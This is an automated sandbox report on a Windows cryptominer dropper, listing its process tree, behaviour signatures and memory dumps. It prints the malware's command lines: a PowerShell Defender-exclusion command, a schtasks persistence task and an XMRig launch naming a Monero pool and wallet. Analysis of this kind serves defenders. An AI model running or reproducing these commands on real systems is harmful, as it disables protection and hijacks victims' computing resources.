Analysis
- max time kernel
68s - max time network
153s - platform
windows7_x64 - resource
win7-20220812-en - resource tags
- submitted
27/11/2022, 12:44
General
- Target file.exe
- Size 814KB
- Sample221127-pygrlacf8s
- SHA256 d151ac7349eeddb2e769ffd33665c627fb1ec57004ac42927562b081d1c5de5b
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 9 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 36 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp6A58.tmp.bat""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\dlllib\YHKO.exe"C:\ProgramData\dlllib\YHKO.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
YHKO.exe
YHKO.exe
tmp6A58.tmp.bat
590aee7bdd69b59b.customDestinations-ms
YHKO.exe
memory/616-104-0x00000000027BB000-0x00000000027DA000-memory.dmp
memory/616-114-0x00000000027B4000-0x00000000027B7000-memory.dmp
memory/616-81-0x000007FEF6000000-0x000007FEF6B5D000-memory.dmp
memory/616-82-0x00000000027B4000-0x00000000027B7000-memory.dmp
memory/616-75-0x000007FEEDE20000-0x000007FEEE843000-memory.dmp
memory/616-115-0x00000000027BB000-0x00000000027DA000-memory.dmp
memory/616-73-0x000007FEFC431000-0x000007FEFC433000-memory.dmp
memory/1072-126-0x000007FEF1780000-0x000007FEF17E2000-memory.dmp
memory/1072-132-0x000007FEFDB00000-0x000007FEFDB36000-memory.dmp
memory/1072-135-0x00000000001D0000-0x0000000000304000-memory.dmp
memory/1072-134-0x00000000021D0000-0x0000000002213000-memory.dmp
memory/1072-133-0x000007FEFCE70000-0x000007FEFCECB000-memory.dmp
memory/1072-131-0x000007FEFB0A0000-0x000007FEFB0C7000-memory.dmp
memory/1072-130-0x000007FEFD620000-0x000007FEFD645000-memory.dmp
memory/1072-129-0x000007FEFAB90000-0x000007FEFAC01000-memory.dmp
memory/1072-128-0x000007FEFAB20000-0x000007FEFAB84000-memory.dmp
memory/1072-127-0x000007FEFE610000-0x000007FEFE65D000-memory.dmp
memory/1072-125-0x000007FEFA410000-0x000007FEFA42C000-memory.dmp
memory/1072-124-0x000007FEFD050000-0x000007FEFD067000-memory.dmp
memory/1072-123-0x000007FEFD1A0000-0x000007FEFD1C2000-memory.dmp
memory/1072-122-0x000007FEFE000000-0x000007FEFE01F000-memory.dmp
memory/1072-88-0x000007FEFB750000-0x000007FEFB7BF000-memory.dmp
memory/1072-91-0x0000000077910000-0x0000000077A0A000-memory.dmp
memory/1072-90-0x000007FEFDF90000-0x000007FEFDFF7000-memory.dmp
memory/1072-89-0x000007FEFB610000-0x000007FEFB6AC000-memory.dmp
memory/1072-92-0x000007FEFDEF0000-0x000007FEFDF8F000-memory.dmp
memory/1072-93-0x00000000777F0000-0x000000007790F000-memory.dmp
memory/1072-94-0x000007FEFD8E0000-0x000007FEFD94C000-memory.dmp
memory/1072-97-0x000007FEFF760000-0x000007FEFF83B000-memory.dmp
memory/1072-95-0x000007FEFDBF0000-0x000007FEFDC61000-memory.dmp
memory/1072-98-0x000007FEF4570000-0x000007FEF4F5C000-memory.dmp
memory/1072-99-0x000007FEFFBF0000-0x000007FEFFD1D000-memory.dmp
memory/1072-101-0x000007FEFE400000-0x000007FEFE603000-memory.dmp
memory/1072-100-0x00000000021D0000-0x0000000002213000-memory.dmp
memory/1072-103-0x00000000001D0000-0x0000000000304000-memory.dmp
memory/1072-102-0x00000000001D0000-0x0000000000304000-memory.dmp
memory/1072-121-0x000007FEFE870000-0x000007FEFE947000-memory.dmp
memory/1072-118-0x000007FEFBE90000-0x000007FEFC0A5000-memory.dmp
memory/1080-136-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-163-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1080-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-161-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1080-160-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-150-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-148-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-146-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-145-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-143-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-141-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-139-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1080-137-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1088-80-0x0000000000500000-0x0000000000543000-memory.dmp
memory/1088-63-0x0000000000A60000-0x0000000000B94000-memory.dmp
memory/1088-65-0x000007FEFB510000-0x000007FEFB607000-memory.dmp
memory/1088-55-0x000007FEFB750000-0x000007FEFB7BF000-memory.dmp
memory/1088-66-0x000007FEFF760000-0x000007FEFF83B000-memory.dmp
memory/1088-67-0x000007FEF6170000-0x000007FEF6B5C000-memory.dmp
memory/1088-60-0x00000000777F0000-0x000000007790F000-memory.dmp
memory/1088-79-0x0000000000A60000-0x0000000000B94000-memory.dmp
memory/1088-68-0x000007FEFFBF0000-0x000007FEFFD1D000-memory.dmp
memory/1088-71-0x000007FEF7070000-0x000007FEF719C000-memory.dmp
memory/1088-77-0x000007FEFE000000-0x000007FEFE01F000-memory.dmp
memory/1088-69-0x000007FEFE400000-0x000007FEFE603000-memory.dmp
memory/1088-70-0x0000000000A60000-0x0000000000B94000-memory.dmp
memory/1088-64-0x0000000000500000-0x0000000000543000-memory.dmp
memory/1088-62-0x000007FEFDBF0000-0x000007FEFDC61000-memory.dmp
memory/1088-61-0x000007FEFD8E0000-0x000007FEFD94C000-memory.dmp
memory/1088-59-0x000007FEFDEF0000-0x000007FEFDF8F000-memory.dmp
memory/1088-58-0x0000000077910000-0x0000000077A0A000-memory.dmp
memory/1088-57-0x000007FEFDF90000-0x000007FEFDFF7000-memory.dmp
memory/1088-56-0x000007FEFB610000-0x000007FEFB6AC000-memory.dmp
memory/1316-117-0x00000000028E4000-0x00000000028E7000-memory.dmp
memory/1316-116-0x000000001B6F0000-0x000000001B9EF000-memory.dmp
memory/1316-119-0x00000000028E4000-0x00000000028E7000-memory.dmp
memory/1316-113-0x000007FEF6000000-0x000007FEF6B5D000-memory.dmp
memory/1316-112-0x000007FEEDE20000-0x000007FEEE843000-memory.dmp
memory/1316-120-0x00000000028EB000-0x000000000290A000-memory.dmp